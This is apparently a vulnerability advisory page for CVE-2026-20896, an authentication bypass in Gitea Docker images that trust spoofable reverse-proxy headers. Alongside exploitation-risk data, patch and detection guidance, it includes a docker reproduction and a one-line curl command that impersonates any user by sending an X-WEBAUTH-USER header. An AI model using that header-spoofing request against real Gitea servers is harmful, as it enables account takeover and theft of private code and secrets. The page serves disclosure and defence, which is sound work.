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CRITICAL severity

CVE-2026-20896 — gitea

CRITICALFix: go-gitea/gitea#38151

CVE-2026-20896 is a critical-severity (CVSS 9.8) CWE-284 vulnerability in code.gitea.io/gitea. 3 public exploit references exist, so weaponization risk is real. A fix is available for code.gitea.io/gitea — see the affected versions and patch details below.

Gitea Docker image trusts spoofable reverse-proxy headers by default

Also known asGHSA-f75j-4cw6-rmx4GO-2026-6051
Published
Updated
Affected
1 pkg
Patched
1 / 1
Exploits
3 known
Exploitation data as of Oct 9, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
  • A successful exploit gives an attacker total control of the affected component, not partial access.

Exploitation and automatability from CISA’s SSVC triage for CVE-2026-20896.

EPSS Exploitation Probability

via FIRST.org ↗
2.8%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs86th percentile — riskier than 86% of all scored CVEsHighest risk
2.25%2.59%2.92%3.26%2.8%2.8%2.8%Sep 26Oct 26Oct 26

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

How urgent is this, really

CVE-2026-20896 by exploitation likelihood (EPSS) against impact (CVSS). Outside the shaded patch-first corner.

Where this sits among everything scored

Of 385,386 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Counts from FIRST.org, log-scaled.

Real-World Exposure

1 pkg affected
🐹code.gitea.io/gitea

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.

Description

Summary

The Gitea Docker images ship an app.ini template that hard-codes:

REVERSE_PROXY_TRUSTED_PROXIES = *

The documented default for this setting, in custom/conf/app.example.ini, is 127.0.0.0/8,::1/128, i.e. only loopback is trusted.

When an admin enables ENABLE_REVERSE_PROXY_AUTHENTICATION = true to put Gitea behind an authenticating reverse proxy and leaves the trusted-proxies setting at "the default", they expect only the proxy's loopback connection to inject identity. The Docker image instead trusts X-WEBAUTH-USER from any source IP that can reach the container.

Affected

  • gitea/gitea Docker images (verified 1.26.2)
  • docker/root/etc/templates/app.ini:55
  • docker/rootless/etc/templates/app.ini:52

Binary distribution and self-built deployments that follow app.example.ini get the loopback-only default and are not affected.

Reproduction

docker run -d --name g -p 3000:3000 \
  -e GITEA__service__ENABLE_REVERSE_PROXY_AUTHENTICATION=true \
  -e GITEA__security__INSTALL_LOCK=true \
  gitea/gitea:1.26.2

sleep 15
docker exec --user git g gitea admin user create \
  --username alice --password "longpasswordhere1234" \
  --email [email protected] --must-change-password=false

Now the attack::


curl -s -L -H "X-WEBAUTH-USER: alice" http://localhost:3000/ \
  | grep -oE '<title>[^<]+</title>'

Output: <title>alice - Dashboard - Gitea: Git with a cup of tea</title> — attacker is logged in as alice with one header, no password, no cookie.

Same payload with X-WEBAUTH-USER: <any_existing_username> impersonates that user.

Impact

Any process that can reach the Gitea container's HTTP port directly — not through the intended authenticating proxy — can impersonate any user whose login name is known or guessable. Admin accounts (admin, gitea_admin, etc.) are the obvious targets.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐹Gocode.gitea.io/giteaall versions1.26.3go get code.gitea.io/gitea@v1.26.3
Exploits & PoCs
3

Research use only. For defensive security, authorized penetration testing, and academic research only. Never execute exploit code against systems without explicit written authorization.

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for code.gitea.io/gitea, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update code.gitea.io/gitea to 1.26.3 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-20896 is resolved across your whole dependency graph.

  3. Workarounds

    Put an independent control in front of the weakness: restrict the affected endpoint or interface to trusted networks, require an additional authentication factor or proxy-level check, and invalidate existing sessions and credentials in case the flaw has already been used.

How to detect CVE-2026-20896

A community-maintained Nuclei template exists for this CVE. You can scan for it directly:

nuclei -id cve-2026-20896 -u https://target
Template
Gitea Docker Image <= 1.26.2 - Reverse Proxy Header Authentication Bypass
Severity
critical
Impact
Unauthenticated attackers can impersonate any Gitea user, including administrators, gaining read access to all private repositories, the ability to inject SSH keys, extract CI/CD secrets, modify webhooks, and fully compromise the platform.
Remediation
Upgrade the Gitea Docker image to version 1.26.3 or 1.26.4 or later, which restricts REVERSE_PROXY_TRUSTED_PROXIES to the intended internal proxy addresses.

Template by ProjectDiscovery nuclei-templates (prithvee07, aryu-ru, rz1027), MIT licensed. View the full template. Scan only systems you are authorised to test.

Frequently Asked Questions

# Summary The Gitea Docker images ship an `app.ini` template that hard-codes: ``` REVERSE_PROXY_TRUSTED_PROXIES = * ``` The documented default for this setting, in `custom/conf/app.example.ini`, is `127.0.0.0/8,::1/128`, i.e. only loopback is trusted. When an admin enables `ENABLE_REVERSE_PROXY_AUTHENTICATION = true` to put Gitea behind an authenticating reverse proxy and leaves the trusted-proxies setting at "the default", they expect only the proxy's loopback connection to inject identity. The Docker image instead trusts `X-WEBAUTH-USER` from **any source IP** that can reach the containe
O3 Security · Impact-Aware SCA

Is CVE-2026-20896 in your dependencies?

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CVE-2026-20896: gitea — Fixed in 1.26.3